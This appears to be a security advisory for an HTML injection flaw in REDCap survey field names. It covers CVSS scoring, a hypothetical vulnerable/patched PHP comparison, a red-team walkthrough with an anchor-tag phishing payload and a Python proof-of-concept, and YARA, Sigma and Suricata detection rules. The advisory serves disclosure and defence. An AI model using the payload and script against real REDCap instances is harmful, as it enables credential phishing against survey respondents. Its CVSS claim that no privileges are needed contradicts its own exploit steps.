CVE-2025-23111

Executive Summary

CVE-2025-23111 is an HTML Injection vulnerability discovered in REDCap version 14.9.6. The flaw resides in the Survey field name, allowing an attacker to inject arbitrary HTML. When a user interacts with the injected field name (e.g., by clicking on it), they are redirected to a malicious phishing website. This attack requires user interaction but can lead to credential theft or further compromise without explicit consent. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

REDCap is a web application typically deployed on-premises or via institutional hosting. It is not distributed via NPM, PyPI, Go, or Ruby registries. Therefore, supply chain package security concerns are not directly applicable. However, administrators should verify the integrity of their REDCap installation files and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click on the injected field name.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): Low – Potential disclosure of sensitive information via phishing.
• Integrity (I): Low – The attacker can modify the survey field name to redirect users.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for phishing and credential theft elevates the risk in environments where REDCap is used for sensitive research data.

Deep Dive & Mechanics

The vulnerability exists in the survey module of REDCap. When creating or editing a survey, the field name (a user-controlled input) is not properly sanitized before being rendered in the HTML response. An attacker with the ability to create or modify surveys (e.g., a project administrator or a malicious user with elevated privileges) can inject HTML tags, such as <a> with a malicious href attribute.

Attack Flow:

1. The attacker crafts a survey field name containing an HTML anchor tag: <a href="https://phishing.example.com">Click here</a>.
2. The attacker saves the survey and distributes it to victims.
3. When a victim views the survey and clicks on the field name, they are redirected to the phishing site.
4. The phishing site mimics the REDCap login page, capturing the victim's credentials.

Root Cause: Lack of output encoding or sanitization of the field_name parameter in the survey rendering logic. The application likely uses a template engine that does not escape HTML by default, or the field name is inserted into the page using raw HTML.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (PHP example):

// Vulnerable: Direct output without sanitization
echo "<label for='$field_name'>$field_name</label>";

Patched Code (PHP example):

// Patched: HTML-encode the field name
echo "<label for='" . htmlspecialchars($field_name, ENT_QUOTES, 'UTF-8') . "'>" . htmlspecialchars($field_name, ENT_QUOTES, 'UTF-8') . "</label>";

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a REDCap instance (version 14.9.6) with permission to create or edit surveys.
• A publicly accessible phishing server (e.g., using Evilginx or a simple clone of the REDCap login page).

Exploitation Steps:

1. Log in to REDCap as a user with survey creation privileges.
2. Navigate to Project Setup > Surveys > Add/Edit Survey.
3. In the Field Name input, enter the following payload:

   <a href="http://phishing-server.com/redcap-login">Click to continue</a>
   

4. Save the survey and distribute the survey link to victims.
5. Monitor the phishing server for captured credentials.

Proof of Concept (PoC) Script:

import requests

# Replace with actual REDCap instance and session cookies
url = "https://redcap.example.com/surveys/index.php?pid=123"
cookies = {"PHPSESSID": "your_session_id"}

# Malicious field name payload
payload = '<a href="http://phishing-server.com/redcap-login">Click here</a>'

# Send POST request to create/update survey field
data = {
    "field_name": payload,
    "survey_id": "456",
    "action": "save"
}
response = requests.post(url, data=data, cookies=cookies)
print("Payload submitted. Check survey for redirection.")

Blue Team

Detection Steps:

1. Monitor REDCap logs for unusual survey field names containing HTML tags.
2. Use web application firewalls (WAF) to block requests with HTML in the field_name parameter.
3. Conduct regular code reviews of survey-related PHP files (e.g., SurveysController.php).

Honeypot Setup:

• Deploy a fake REDCap survey with a known vulnerable field name.
• Monitor for any attempts to inject HTML and log the attacker's IP address.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to known phishing domains or IP addresses.
  • HTTP requests containing <a href= or <script> in the field_name parameter.
• File IOCs:
  • Modified survey configuration files containing HTML tags in field names.
• Log IOCs:
  • REDCap audit logs showing creation of surveys with suspicious field names.
  • Web server logs with field_name parameter containing encoded HTML (e.g., %3Ca%20href%3D).

Detection Engineering

YARA Rule

rule CVE_2025_23111_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in REDCap survey field names"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-23111"
    strings:
        $html_tag = /<[a-zA-Z][^>]*\s+href\s*=\s*["']?http[^"'\s>]*["']?[^>]*>/i
        $field_param = "field_name"
    condition:
        $field_param and #html_tag > 0
}

Sigma Rule

title: REDCap Survey HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to REDCap with HTML injection payloads in the field_name parameter
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'field_name='
        cs-uri-query|re: '(?i)<[a-z].*href\s*='
    condition: selection
falsepositives:
    - Legitimate use of HTML in field names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23111 REDCap HTML Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"field_name="; http_client_body; pcre:"/<[a-zA-Z][^>]*\s+href\s*=\s*[\x22\x27]?http[^\x22\x27\s>]*[\x22\x27]?[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Survey Creation: Temporarily restrict the ability to create or edit surveys to trusted administrators only.
2. Input Validation: Implement server-side validation to reject field names containing HTML tags.
3. Output Encoding: Apply HTML entity encoding to all user-supplied data before rendering in survey pages.

Long-Term Fix:

• Apply the official patch once released by REDCap.
• Upgrade to a patched version (if available).
• Conduct a security audit of the survey module to identify similar injection points.

Workaround:

• Use a Web Application Firewall (WAF) to block requests with HTML in the field_name parameter.
• Modify the REDCap source code to sanitize the field_name parameter using htmlspecialchars() or equivalent.

Valters IT
Securing Digital Frontiers